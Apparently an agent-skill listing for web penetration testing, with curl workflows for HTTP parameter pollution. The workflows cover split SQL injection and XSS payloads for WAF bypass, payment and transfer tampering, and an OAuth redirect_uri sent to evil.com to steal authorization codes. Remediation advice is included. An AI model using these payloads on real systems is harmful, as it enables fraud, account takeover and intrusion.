[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7A9Z2ME2M04S6WA48P253AS":3,"skill-same:01M7A9Z2ME2M04S6WA48P253AS":85},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":48,"commitSha":49,"skillDirectory":50,"forksCount":14,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":53,"updatedAt":54,"install":55,"resources":68},"01M7A9Z2ME2M04S6WA48P253AS","performing-http-parameter-pollution-attack",null,"Executes HTTP Parameter Pollution attacks that inject duplicate request parameters to bypass input validation, WAF rules, and other security controls when front-end and back-end systems parse duplicate parameters differently. Use during web application penetration testing to test for parameter parsing inconsistencies or WAF\u002Fvalidation bypass.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-http-parameter-pollution-attack\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-http-parameter-pollution-attack\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-http-parameter-pollution-attack\ndescription: Executes HTTP Parameter Pollution attacks that inject duplicate request\n  parameters to bypass input validation, WAF rules, and other security controls when\n  front-end and back-end systems parse duplicate parameters differently. Use during\n  web application penetration testing to test for parameter parsing inconsistencies\n  or WAF\u002Fvalidation bypass.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- http-parameter-pollution\n- hpp\n- waf-bypass\n- input-validation\n- web-security\n- parameter-injection\n- server-parsing\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Performing HTTP Parameter Pollution Attack\n\n## When to Use\n- When testing web applications for input validation bypass vulnerabilities\n- During WAF evasion testing to split attack payloads across duplicate parameters\n- When assessing how different technology stacks handle duplicate HTTP parameters\n- During API security testing to identify parameter precedence issues\n- When testing OAuth or payment processing flows for parameter manipulation\n\n## Prerequisites\n- Burp Suite Professional with Intruder and Repeater modules\n- Understanding of HTTP protocol and query string parsing\n- Knowledge of server-side parameter handling differences (first, last, array, concatenated)\n- cURL or httpie for manual parameter crafting\n- Target application technology stack identification (Apache, IIS, Tomcat, Node.js, etc.)\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Parameter Handling Behavior\n```bash\n# Test how the server handles duplicate parameters\n# Different servers process duplicates differently:\n# Apache\u002FPHP: Last parameter value\n# ASP.NET\u002FIIS: All values concatenated with comma\n# JSP\u002FTomcat: First parameter value\n# Node.js\u002FExpress: Array of values\n# Python\u002FFlask: First parameter value\n\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fsearch?q=first&q=second\"\n# Observe which value the application uses in the response\n\n# Test POST body duplicate parameters\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Faction \\\n  -d \"amount=100&amount=1\"\n```\n\n### Step 2 — Perform Server-Side HPP\n```bash\n# Bypass input validation by splitting payload\n# Original blocked payload: id=1 OR 1=1\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fuser?id=1%20OR%201%3D1\"  # Blocked by WAF\n\n# HPP bypass: split across duplicate parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fuser?id=1%20OR&id=1%3D1\"  # May bypass WAF\n\n# Parameter pollution in POST body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Ftransfer \\\n  -d \"to_account=victim&amount=100&to_account=attacker\"\n\n# Override security-critical parameters\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fpayment \\\n  -d \"price=99.99&currency=USD&price=0.01\"\n```\n\n### Step 3 — Perform Client-Side HPP\n```bash\n# Client-side HPP via URL manipulation\n# If application reflects parameters in links:\n# Original: http:\u002F\u002Ftarget.com\u002Fpage?param=value\n# Inject:   http:\u002F\u002Ftarget.com\u002Fpage?param=value%26injected_param=evil_value\n\n# Social sharing URL manipulation\ncurl \"http:\u002F\u002Ftarget.com\u002Fshare?url=http:\u002F\u002Flegit.com%26callback=http:\u002F\u002Fevil.com\"\n\n# Inject into embedded links\ncurl \"http:\u002F\u002Ftarget.com\u002Fredirect?url=http:\u002F\u002Ftrusted.com%26token=stolen_value\"\n```\n\n### Step 4 — Bypass WAF Rules Using HPP\n```bash\n# WAF typically inspects individual parameter values\n# Split SQL injection across parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?q=1' UNION&q=SELECT password FROM users--\"\n\n# Split XSS payload\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?q=\u003Cscript>&q=alert(1)\u003C\u002Fscript>\"\n\n# URL-encoded HPP bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata?filter=admin%26role=superadmin\"\n\n# HPP in HTTP headers\ncurl -H \"X-Forwarded-For: 127.0.0.1\" \\\n     -H \"X-Forwarded-For: attacker-ip\" \\\n     http:\u002F\u002Ftarget.com\u002Fapi\u002Fadmin\n```\n\n### Step 5 — Test OAuth and Payment Flow HPP\n```bash\n# OAuth authorization code HPP\n# Inject duplicate redirect_uri to steal authorization code\ncurl \"http:\u002F\u002Ftarget.com\u002Foauth\u002Fauthorize?client_id=legit&redirect_uri=https:\u002F\u002Flegit.com\u002Fcallback&redirect_uri=https:\u002F\u002Fevil.com\u002Fsteal\"\n\n# Payment amount manipulation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fcheckout \\\n  -d \"item=product1&price=100&quantity=1&price=1\"\n\n# Coupon code HPP\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fapply-coupon \\\n  -d \"coupon=SAVE10&coupon=SAVE90&coupon=FREE\"\n```\n\n### Step 6 — Automate HPP Testing\n```bash\n# Use Burp Intruder with parameter duplication\n# In Burp Repeater, manually add duplicate parameters\n# Use param-miner Burp extension for automated discovery\n\n# Test with OWASP ZAP HPP scanner\nzap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \\\n  http:\u002F\u002Ftarget.com\n\n# Custom testing with Python\npython3 hpp_tester.py --url http:\u002F\u002Ftarget.com\u002Fapi\u002Faction \\\n  --params \"id,role,amount\" --method POST\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Server-Side HPP | Duplicate parameters processed differently by backend causing logic bypass |\n| Client-Side HPP | Injected parameters reflected in URLs\u002Flinks sent to other users |\n| Parameter Precedence | Server behavior: first-wins, last-wins, concatenation, or array |\n| WAF Evasion | Splitting attack payloads across duplicate parameters to avoid detection |\n| Technology-Specific Parsing | Different frameworks handle duplicate parameters uniquely |\n| URL Encoding HPP | Using %26 (encoded &) to inject additional parameters within a value |\n| Header Pollution | Sending duplicate HTTP headers to exploit forwarding or trust logic |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for intercepting and duplicating parameters |\n| param-miner | Burp extension for discovering hidden and duplicate parameters |\n| OWASP ZAP | Automated scanner with HPP detection capabilities |\n| Arjun | Hidden HTTP parameter discovery tool |\n| ffuf | Fuzzing tool for parameter brute-forcing and duplication testing |\n| Wfuzz | Web application fuzzer supporting parameter manipulation |\n\n## Common Scenarios\n\n1. **WAF Bypass** — Split SQL injection or XSS payloads across duplicate parameters where the WAF inspects values individually but the server concatenates them\n2. **Payment Manipulation** — Override price or quantity parameters in e-commerce checkout flows by submitting duplicate parameter values\n3. **OAuth Redirect Hijacking** — Inject a duplicate redirect_uri parameter to redirect authorization codes to an attacker-controlled server\n4. **Access Control Bypass** — Override role or permission parameters in requests to elevate privileges or access restricted resources\n5. **Input Validation Bypass** — Circumvent client-side or server-side validation by injecting unexpected duplicate parameters\n\n## Output Format\n\n```\n## HTTP Parameter Pollution Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Server Technology**: ASP.NET\u002FIIS (concatenation behavior)\n- **Vulnerability**: Server-Side HPP in payment endpoint\n\n### Parameter Handling Matrix\n| Technology | Behavior | Tested |\n|-----------|----------|--------|\n| Apache\u002FPHP | Last value | Yes |\n| IIS\u002FASP.NET | Comma-concatenated | Yes |\n| Node.js | Array | Yes |\n\n### Findings\n| # | Endpoint | Parameter | Impact | Severity |\n|---|----------|-----------|--------|----------|\n| 1 | POST \u002Fcheckout | price | Price manipulation | Critical |\n| 2 | GET \u002Foauth\u002Fauthorize | redirect_uri | Token theft | High |\n| 3 | POST \u002Fapi\u002Fsearch | q | WAF bypass (SQLi) | High |\n\n### Remediation\n- Implement strict parameter validation rejecting duplicate parameters\n- Use the first occurrence of any parameter and ignore subsequent duplicates\n- Apply WAF rules that detect duplicate parameter patterns\n- Validate all parameters server-side regardless of client-side checks\n```\n","# Performing HTTP Parameter Pollution Attack\n\n## When to Use\n- When testing web applications for input validation bypass vulnerabilities\n- During WAF evasion testing to split attack payloads across duplicate parameters\n- When assessing how different technology stacks handle duplicate HTTP parameters\n- During API security testing to identify parameter precedence issues\n- When testing OAuth or payment processing flows for parameter manipulation\n\n## Prerequisites\n- Burp Suite Professional with Intruder and Repeater modules\n- Understanding of HTTP protocol and query string parsing\n- Knowledge of server-side parameter handling differences (first, last, array, concatenated)\n- cURL or httpie for manual parameter crafting\n- Target application technology stack identification (Apache, IIS, Tomcat, Node.js, etc.)\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Parameter Handling Behavior\n```bash\n# Test how the server handles duplicate parameters\n# Different servers process duplicates differently:\n# Apache\u002FPHP: Last parameter value\n# ASP.NET\u002FIIS: All values concatenated with comma\n# JSP\u002FTomcat: First parameter value\n# Node.js\u002FExpress: Array of values\n# Python\u002FFlask: First parameter value\n\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fsearch?q=first&q=second\"\n# Observe which value the application uses in the response\n\n# Test POST body duplicate parameters\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Faction \\\n  -d \"amount=100&amount=1\"\n```\n\n### Step 2 — Perform Server-Side HPP\n```bash\n# Bypass input validation by splitting payload\n# Original blocked payload: id=1 OR 1=1\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fuser?id=1%20OR%201%3D1\"  # Blocked by WAF\n\n# HPP bypass: split across duplicate parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fuser?id=1%20OR&id=1%3D1\"  # May bypass WAF\n\n# Parameter pollution in POST body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Ftransfer \\\n  -d \"to_account=victim&amount=100&to_account=attacker\"\n\n# Override security-critical parameters\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fpayment \\\n  -d \"price=99.99&currency=USD&price=0.01\"\n```\n\n### Step 3 — Perform Client-Side HPP\n```bash\n# Client-side HPP via URL manipulation\n# If application reflects parameters in links:\n# Original: http:\u002F\u002Ftarget.com\u002Fpage?param=value\n# Inject:   http:\u002F\u002Ftarget.com\u002Fpage?param=value%26injected_param=evil_value\n\n# Social sharing URL manipulation\ncurl \"http:\u002F\u002Ftarget.com\u002Fshare?url=http:\u002F\u002Flegit.com%26callback=http:\u002F\u002Fevil.com\"\n\n# Inject into embedded links\ncurl \"http:\u002F\u002Ftarget.com\u002Fredirect?url=http:\u002F\u002Ftrusted.com%26token=stolen_value\"\n```\n\n### Step 4 — Bypass WAF Rules Using HPP\n```bash\n# WAF typically inspects individual parameter values\n# Split SQL injection across parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?q=1' UNION&q=SELECT password FROM users--\"\n\n# Split XSS payload\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?q=\u003Cscript>&q=alert(1)\u003C\u002Fscript>\"\n\n# URL-encoded HPP bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata?filter=admin%26role=superadmin\"\n\n# HPP in HTTP headers\ncurl -H \"X-Forwarded-For: 127.0.0.1\" \\\n     -H \"X-Forwarded-For: attacker-ip\" \\\n     http:\u002F\u002Ftarget.com\u002Fapi\u002Fadmin\n```\n\n### Step 5 — Test OAuth and Payment Flow HPP\n```bash\n# OAuth authorization code HPP\n# Inject duplicate redirect_uri to steal authorization code\ncurl \"http:\u002F\u002Ftarget.com\u002Foauth\u002Fauthorize?client_id=legit&redirect_uri=https:\u002F\u002Flegit.com\u002Fcallback&redirect_uri=https:\u002F\u002Fevil.com\u002Fsteal\"\n\n# Payment amount manipulation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fcheckout \\\n  -d \"item=product1&price=100&quantity=1&price=1\"\n\n# Coupon code HPP\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fapply-coupon \\\n  -d \"coupon=SAVE10&coupon=SAVE90&coupon=FREE\"\n```\n\n### Step 6 — Automate HPP Testing\n```bash\n# Use Burp Intruder with parameter duplication\n# In Burp Repeater, manually add duplicate parameters\n# Use param-miner Burp extension for automated discovery\n\n# Test with OWASP ZAP HPP scanner\nzap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \\\n  http:\u002F\u002Ftarget.com\n\n# Custom testing with Python\npython3 hpp_tester.py --url http:\u002F\u002Ftarget.com\u002Fapi\u002Faction \\\n  --params \"id,role,amount\" --method POST\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Server-Side HPP | Duplicate parameters processed differently by backend causing logic bypass |\n| Client-Side HPP | Injected parameters reflected in URLs\u002Flinks sent to other users |\n| Parameter Precedence | Server behavior: first-wins, last-wins, concatenation, or array |\n| WAF Evasion | Splitting attack payloads across duplicate parameters to avoid detection |\n| Technology-Specific Parsing | Different frameworks handle duplicate parameters uniquely |\n| URL Encoding HPP | Using %26 (encoded &) to inject additional parameters within a value |\n| Header Pollution | Sending duplicate HTTP headers to exploit forwarding or trust logic |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for intercepting and duplicating parameters |\n| param-miner | Burp extension for discovering hidden and duplicate parameters |\n| OWASP ZAP | Automated scanner with HPP detection capabilities |\n| Arjun | Hidden HTTP parameter discovery tool |\n| ffuf | Fuzzing tool for parameter brute-forcing and duplication testing |\n| Wfuzz | Web application fuzzer supporting parameter manipulation |\n\n## Common Scenarios\n\n1. **WAF Bypass** — Split SQL injection or XSS payloads across duplicate parameters where the WAF inspects values individually but the server concatenates them\n2. **Payment Manipulation** — Override price or quantity parameters in e-commerce checkout flows by submitting duplicate parameter values\n3. **OAuth Redirect Hijacking** — Inject a duplicate redirect_uri parameter to redirect authorization codes to an attacker-controlled server\n4. **Access Control Bypass** — Override role or permission parameters in requests to elevate privileges or access restricted resources\n5. **Input Validation Bypass** — Circumvent client-side or server-side validation by injecting unexpected duplicate parameters\n\n## Output Format\n\n```\n## HTTP Parameter Pollution Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Server Technology**: ASP.NET\u002FIIS (concatenation behavior)\n- **Vulnerability**: Server-Side HPP in payment endpoint\n\n### Parameter Handling Matrix\n| Technology | Behavior | Tested |\n|-----------|----------|--------|\n| Apache\u002FPHP | Last value | Yes |\n| IIS\u002FASP.NET | Comma-concatenated | Yes |\n| Node.js | Array | Yes |\n\n### Findings\n| # | Endpoint | Parameter | Impact | Severity |\n|---|----------|-----------|--------|----------|\n| 1 | POST \u002Fcheckout | price | Price manipulation | Critical |\n| 2 | GET \u002Foauth\u002Fauthorize | redirect_uri | Token theft | High |\n| 3 | POST \u002Fapi\u002Fsearch | q | WAF bypass (SQLi) | High |\n\n### Remediation\n- Implement strict parameter validation rejecting duplicate parameters\n- Use the first occurrence of any parameter and ignore subsequent duplicates\n- Apply WAF rules that detect duplicate parameter patterns\n- Validate all parameters server-side regardless of client-side checks\n```\n",{"name":5,"tags":25,"author":33,"domain":34,"license":15,"version":35,"nist_csf":36,"subdomain":41,"description":7,"mitre_attack":42},[26,27,28,29,30,31,32],"http-parameter-pollution","hpp","waf-bypass","input-validation","web-security","parameter-injection","server-parsing","mahipal","cybersecurity","1.0",[37,38,39,40],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[43,44,45,46,47],"T1190","T1059.007","T1505.003","T1083","T1055","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fperforming-http-parameter-pollution-attack","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add NeelakshSaxena\u002FVayu --skill performing-http-parameter-pollution-attack",{"tool":61,"command":62},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill performing-http-parameter-pollution-attack",{"tool":64,"command":65},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill performing-http-parameter-pollution-attack","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-http-parameter-pollution-attack\u002FSKILL.md",true,[69,73,79],{"path":70,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":74,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":78},"references\u002Fapi-reference.md","REFERENCE","参考文档",1590,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-http-parameter-pollution-attack\u002Freferences\u002Fapi-reference.md",{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"scripts\u002Fagent.py","SCRIPT","脚本",7198,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-http-parameter-pollution-attack\u002Fscripts\u002Fagent.py",[86,93,100,107,114,121],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":97,"categories":98,"keywords":99,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":104,"categories":105,"keywords":106,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":108,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":111,"categories":112,"keywords":113,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":118,"categories":119,"keywords":120,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":125,"categories":126,"keywords":127,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]